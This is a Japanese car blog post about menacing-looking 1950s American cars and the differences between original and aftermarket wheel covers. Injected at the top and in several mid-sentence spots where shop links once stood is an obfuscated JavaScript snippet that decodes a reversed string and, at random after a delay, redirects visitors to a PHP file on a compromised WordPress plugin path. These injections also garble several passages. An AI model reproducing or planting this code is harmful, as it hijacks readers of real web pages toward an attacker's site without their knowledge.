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Bad $nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to the bone

約6分

こんちは、Endでございます。

コワい顔。恐ろしい顔。

しかも元からの。いいのか悪いのかわかりませんが、チョット憧れますね。

さて、クルマの場合のコワイ顔。

いろいろあると思いますが、実際お目にかかった中でのトップはコチラでした。

’58 Lincoln

ん~、コワイですね、恐ろしいですね。

ちなみに次点はコチラ↓

’58 Chevy

でもこちらは生まれながらではなくて、スカーフェイス。長年修羅場を潜り抜けて、箔がついた感じなので

審査員特別賞でしょうか??

今までは’58 Lincolnがデフェンディング・チャンピオンでしたが、その座を奪ったのは、

やっぱりコノお方!

’57 Dodge !!

コワいぞ!コワ過ぎる!!ワルいな~、ワルい顔してるな~、

クルマ界のダニー・トレホでしょうか!?素敵じゃないですか!

何気に当Blogに何度かご登場頂いているクルマですが、やっぱりこの顔が一番コワいでしょうね。

でもこの’57 Dodge、コワい顔ばっかりに注目行ってしまいますが、いろいろ興味深いディティールもあります。

57年から始まるクライスラー社の”Forward Look”と呼ばれるNewデザイン、

その中でもDodgeだけの特徴、

“Swept-Wing Dodge”、テールフィンがリア・フェンダーにOverlap・覆いかぶさってます!

「段付きのアルファ」ならぬ、「段付きのダッヂ」。。。

そのテールフィンに付く、

エンブレム

いや~ステキじゃないですか、中世の騎士!ナイトです、ナイスですね!

Car Club Plaque

(コレは勿論Dodgeオリジナルではなく、Car Clubのオリジナル。)

そして、コチラのWheel Covers/Caps。

’57年モデルのDodge純正です。

なんか見覚えありますよね?コレですね↓

Lancer 単品

Lancer Wheel Coverです。

こちらの元ネタですね、若干アレンジされてますけどね。

(オリジナルStyleのLancerの リプロも最近出たみたいですけど)。

カスタムWheel Coverには、実は元ネタがあったりします。すでに’50年代にはアフターもののカスタムパーツ

として販売されていたものがたくさんあるんですよ。ムカシからカッコいいWheel Coverをみんな付けたがった

から、リプロ(コピー)したアフターパーツが存在しているのです。とくにAlumi. Wheelsが存在しない、

或いは高嶺の花の時代はね。

’50年代末のUSマガジンの広告です。

見たことあるヤツや、あーこれ欲しいってヤツが結構ありますね!

今でも販売しているモノもありますね、’50sから続く由緒正しいスタンダードなんですね。

ところで純正・オリジナルとアフターモノの違いですが、モノによりますが、デザイン以外にも

裏側に違いが隠されています。それは「ツメ」です。

左から順にオリジナル(例題で’57 lincoln)、

ついでアフターの$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tore.shopping.yahoo.co.jp/mooneyes/mc051.html”>Spacerです。

上のオリジナルと下のアフターものでは「ツメ」の造りが違いますね。

オリジナル・純正は、純正Wheelに装着が前提ですから、それ専用設計でツメは小ぶり、

純正Wheelにはバッチリ付きますが、純正以外の場合は同じWheel Sizeでもビミョーな違いが

あるので、うまく付く場合もあれば嵌らない、最悪「外れまくりの飛びまくり!」という事もあります。

余談ですが、

「Wheel キャップは飛ぶのがカッコいいんだろ」と、心に響く迷言を残したお方もいましたが。。。

<参考例>

気合で切り込んで、コーナー駆け抜ける。男らしい・・・

20世紀のカーアクション映画や刑事ドラマのお約束でしたね。

ハナシを元に戻して、

対してアフターモノは、ツメの調整が出来るようになってますからSizeさえあっていれば大概の

Steel Wheelに装着可能なわけです。但し、アフターモノはこの調整出来る構造のツメがカシメて

付いてるのおかげで走行中に若干異音(キシみ音・シャラシャラ音)が出る場合があるのが玉に瑕。

(音鳴りが気になる方にはTrim Ringという選択肢もあり。比較的マシ、しかも一番外れにくい。

変形しない・音のこもる円盤状のキャップではなく、形状が「輪」なのがいいのでしょう)

オリジナル・純正にはオリジナルならではの良さ・満足感、でもレア物・高価格で付く・付かないのリスクも高い、

アフターモノには装着のしやすさ・安心感そしてお手頃価格、でもFit具合次第でノイジーという

それぞれに利点・欠点があります。

汎用品は何にでも合いやすい構造だけど、最終的には自分で何とか合わせないといけませんね。

さて、最近またWheel Coversの新製品というか、復刻があって

$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tore.shopping.yahoo.co.jp/mooneyes/mc021.html”>Lancerなどは、

ほんの少しセンターが干渉するために、やっぱりキチンと嵌らなかったりします。

(ちなみに現在販売されてる$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tore.shopping.yahoo.co.jp/mooneyes/a5aba5b9a53.html”>いろいろ付替えて遊ぶ・楽しむのもいいですね。

-END-

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